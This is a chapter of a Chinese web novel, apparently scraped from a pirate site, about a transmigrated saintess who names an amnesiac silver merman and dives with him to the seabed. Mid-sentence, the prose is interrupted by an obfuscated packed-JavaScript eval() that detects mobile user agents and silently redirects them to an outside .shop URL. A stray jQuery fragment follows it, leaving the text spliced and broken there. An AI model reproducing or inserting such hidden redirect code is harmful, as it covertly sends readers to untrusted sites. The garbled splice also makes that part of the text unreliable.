裴南初伸手揉了揉人鱼的脑袋。丝滑的长发从指间滑过,触感同她预想的一般柔顺。
她握住人鱼的手掌。人鱼的指节比人类的更粗,指甲也更锋利,指间还有一层薄薄的蹼。
裴南初有些好奇地碰了碰那层薄膜。人鱼的手掌立刻怕痒似的缩了一下,又依照主人的意愿立刻撑开。
是种十分神奇的感觉。
裴南初的动作太温柔,山洞又太安静,闻渝舒服地眯起眼睛,也控制不住力道了,脑袋不自觉地沉下去,在她掌心蹭了蹭。
他仰头看着人类,从他的视线看去,山洞穹顶漏下的光落在她优越的眉骨上,落下一小片惑人的阴影,那双藏在阴影里的眼睛就这么垂眼定定地看着他。
“你叫什么名字呀?”裴南初温柔开口,看着懵懂的人鱼她心中有了个大概的猜测,但是不敢确信。
人鱼缩在她的怀里,沉默了会儿,语气闷闷的:“忘记了。”
他不知道自己之前经历了什么,但自从有记忆起他就在这片海域游荡。
这里是被放弃的边缘之地,除了那些被污染的异兽,根本没有生物踏足,有的时候他也会怀疑自己是不是也是一只被污染的异兽。
裴南初突然想起当年第一次见到这个孩子的时候,那时她刚刚穿越成教廷的圣女不久,对各种异能使用都不太熟练,为了不露出破绽,凡是都要小心。
一次随主教去人鱼族出访,宴会厅里觥筹交错,人鱼贵族们穿着华丽的礼服,各色鱼尾上挂满了精致尾链,但裴南初却注意到角落里那个小小的白色影子。
那条小鱼不过人的手臂长短,一尾雪白鳞片小心翼翼地藏在一个巨大花瓶背后。
他手里还藏着刚刚从宴会厅偷来的小甜点。
那个孩子用一双浅银色的眼睛祈求地看着她,生怕她喊人来把他抓走。
裴南初此前对此世一直保有一种游离的心态,但牵起幼崽的那一刻,她突然对这个世界有了实感。
这个王宫的孩子是人鱼一族最不受宠的血脉,他从头发都鱼尾都是至纯明亮的银白色,但这种神圣的银白色在人鱼一族中却反而象征着灾厄。
在一片黑暗的海域中,银白色总是较其余的格外亮眼,更容易被天敌所注意,哪怕在科技高度发达的星际时代,这种旧有的习俗还在作祟。
她带着这个孩子回到了圣教星,在日夜相处中惊讶于他的异能天赋,寻常人鱼的异能大多与水有关,但他却能能操控生物的精神力。
那个腼腆的孩子成了她手里最锋利的一把刀。
裴南初回过神来,人鱼从她怀里扬起脸看她。
她温柔地梳了梳了他的头发:“那我给你起个名字吧。”
“就叫闻渝,好不好?”
闻渝从她怀里探出头来,露出那双漂亮到失真的眼睛,他像幼儿学说话般重复了一遍。
“很喜欢。”
闻渝仗着自己是伤员,一直磨磨蹭蹭地抱住人类小姐的腰不放手,直到听到她腹中传来可疑的“咕咕”声。
裴南初脸颊漫上红晕。不同于已经接近半神的人鱼,这具人类身体还十分依赖食物与淡水。按人类的饮食习惯,现在早该吃午餐了。她有些尴尬地想挣脱,但人鱼始终没松手。
闻渝轻轻哼唱,就见水底乖巧地游上了几条鱼,既有昨日吃的小银鱼,又有些她没见过的奇形怪状深海品种,有长者比头还大的灯笼的怪鱼,也有和小水母差不多模样的触手集合体小鱿鱼。
之前好像有听过,说是在深海大家都看不见就乱七八糟随意长了……
不知闻渝下了什么命令,小鱿鱼乖巧地游近,原本活蹦乱跳的千万条触手瞬间放松,安静地躺进人鱼掌心。
闻渝只收拢了掌心。原本看着无害的指甲瞬间贯穿了小鱿鱼。
鱿鱼的口感确实比昨天的小银鱼有嚼劲一些,肉质紧实弹牙,带着深海生物特有的鲜美,如果能再配点蘸料就更好吃了。裴南初美美品鉴中。
随着她咽下最后一口鱿鱼,闻渝突然看到她手指上有片灼烧的伤口,刚才他心里满是惶恐,后来人类又给他用海藻敷伤口,此时放下心来才注意到。
他心疼地拂过那片伤口,有些懊恼自己的不小心。
裴南初倒没想这么多,她顺势问:“这里的阳光一直这么烈吗?”
闻渝摇了摇头:“以前没有……以前天空经常起雾,太阳晒不透的。”
雾气散了?
应该是星球大气层遭受了污染的影响,成分发生了变化,以至于原本可以阻挡太阳辐射的“雾气”被取代,导致整个星球毫无保留地暴露在宇宙辐射中。
说不清原因的污染,她突然而来的回归,这些谜团越来越多,越来越乱,但无论如何谜底绝不会在一座孤零零的岛屿上。
裴南初思索着那些灼热的辐射,又抚摸着闻渝背后纵横交错的伤疤。
“闻渝。”她突然开口,“你带我去海底吧。”
闻渝一愣:“但是你是人类……”
人类是不能在水下呼吸的。
裴南初笑着拉起他,“但你能做到,不是吗?”
随着她的话语落下,他们两人同时从岸上跌落,冰冷的湖水立刻涌进鼻腔,闻渝紧张地想要捧起裴南初,却被她拉住手制止了。
她隔着湖水睁开眼,闻渝精致的面孔就在眼前,银色的瞳孔里只倒映着她一人。
闻渝不知所措,但一下心就静下了。特殊的能量波动从他们相连的掌心出现,裴南初引导着他尝试使用自己的异能,沉睡许久的精神力被唤醒,他某名有种想要攻击一切的冲动,但现下有更要紧的事——
不断有小气泡从人类的唇边冒出,她的脸色也逐渐泛白,这是溺水的前兆,
闻渝集中精神,朝她指引的方向摸索,一道透明的水膜瞬间从闻渝的手心出现,顺着裴南初的手臂迅速开始蔓延,不过一瞬就她整个人都包裹。
水膜紧紧贴着她的皮肤,像有生命般起伏着,帮助她在水中呼吸。
水面下的世界是十分寂静的,某一瞬间,她的整个世界似乎只剩下了人鱼。
人鱼慌乱地紧紧抓着她的手,明明她才是那个不能在水下呼吸的人。
裴南初
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633474|206492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想要安慰他,但许久没有在水下说话,气息一张口就化作了一连串的气泡,咕噜咕噜飘走了。
裴南初:……
闻渝:“……”
气氛忽然变得有点好笑。
裴南初深吸一口气,重新调整了呼吸,一个子一个字地往外蹦,好不容易驯服了舌头:“我没事。”
水下的声音不同于岸上的声音,咬字也不若岸上的利落,带着一股异域的奇异感。
“我们走吧。”裴南初说。
闻渝再三确定人类没有问题,确认那层水膜确实在正常工作,这才微微松了一口气,带着她逐渐下潜。
水下的人鱼显得更加自在,银白色的鱼尾舒展地摆动着,画出一道优美的弧线。
头顶的光线越来越远,海水颜色也越来越昏暗,周围的一切都变得模糊而遥远,直到下降到某个临界点,水下也逐渐有了亮光。
裴南初见最远处有一座热浪滚滚的活火山。
而低头目之所及之处皆铺满了细密的白沙,上头长满了五颜六色的珊瑚礁,数不清的小鱼在其中玩耍躲藏,这里的小鱼们没见过人类的模样,都有些好奇地凑过来,裴南初并不排斥,还抬起手碰碰它们的小脑袋。
突然它们像是感受到什么危险一般,连忙散开逃到最近的珊瑚礁石里,还有一只靠最近的似乎太害怕了一时晕头转向反而扑进来裴南初的怀里。
裴南初突然感觉到脚底下似乎有什么东西正在蠕动,她低头却只见到细沙,据说善于伏击的鱼类总是伴随有可以变色的能力。
她一手笼住小鱼,另外一手想运用异能却发现被人鱼牢牢牵着。
裴南初:……
一只触手宛若“旱地拔葱”模样突然扬起,把地上的少女高高举起快速运到脑袋面前。
平静的海水瞬间被搅动得汹涌,白沙洒随着波动洋洋洒洒,一时间裴南初视线受阻,只见到那白沙背后好像有两只水汪汪的大眼睛正可怜兮兮地看着她。
白沙逐渐逐渐落下,那只水汪汪的大眼睛也看到了少女背后的正虎视眈眈看着它的人鱼——
它的触手好痛!
又一阵天旋地转,白沙下潜藏的捕食者瞬间缩回地下逃走。
一切发生的太快,裴南初还未反应过来,只觉有点发懵。
闻渝不太在意,那只水母海怪不是他的对手,相反现在还有更重要的事情,他有点气鼓鼓地把人类另外一只手掰开,把那只小鱼赶了出去,这才心满意足地拉着人类向前走。
他见裴南初有些疑惑,开口解释道:“它就是昨天想吃掉你的那只水母。”
一说起来,裴南初确实有印象,昨天落水后她确实被许多触手拉着下坠。
但她总感觉那只大水母没有恶意……似乎是要和她说些什么。
闻渝察觉,紧紧拽了下她的手:“深海的生物最会伪装了。”
“你一定不能离开我旁边。”
裴南初安抚:“放心啦,我没这么弱。”
她心想,海底确实有意思欸。
闻渝则在一旁心里产生了危机感。